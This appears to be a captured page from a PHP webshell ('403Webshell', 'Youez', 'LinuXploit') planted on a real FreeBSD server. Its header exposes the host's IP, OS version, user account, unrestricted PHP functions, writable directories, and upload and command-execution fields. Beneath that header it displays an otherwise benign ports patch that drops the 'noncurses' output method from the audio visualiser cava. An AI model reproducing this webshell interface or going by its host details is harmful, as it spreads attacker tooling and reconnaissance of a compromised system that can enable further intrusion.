403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/audio/cava/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/audio/cava/files/patch-config.c
Remove noncurses output method which only produces a garbled mess
on terminals.

--- config.c.orig	2021-08-02 22:27:47 UTC
+++ config.c
@@ -181,10 +181,6 @@ bool validate_config(struct config_params *p, struct e
         return false;
 #endif
     }
-    if (strcmp(outputMethod, "noncurses") == 0) {
-        p->output = OUTPUT_NONCURSES;
-        p->bgcol = 0;
-    }
     if (strcmp(outputMethod, "raw") == 0) { // raw:
         p->output = OUTPUT_RAW;
         p->bar_spacing = 0;
@@ -220,7 +216,7 @@ bool validate_config(struct config_params *p, struct e
 #ifndef NCURSES
         write_errorf(
             error,
-            "output method %s is not supported, supported methods are: 'noncurses' and 'raw'\n",
+            "output method %s is not supported, supported methods are: 'raw'\n",
             outputMethod);
         return false;
 #endif
@@ -228,7 +224,7 @@ bool validate_config(struct config_params *p, struct e
 #ifdef NCURSES
         write_errorf(error,
                      "output method %s is not supported, supported methods are: 'ncurses', "
-                     "'noncurses' and 'raw'\n",
+                     "and 'raw'\n",
                      outputMethod);
         return false;
 #endif

Youez - 2016 - github.com/yon3zu
LinuXploit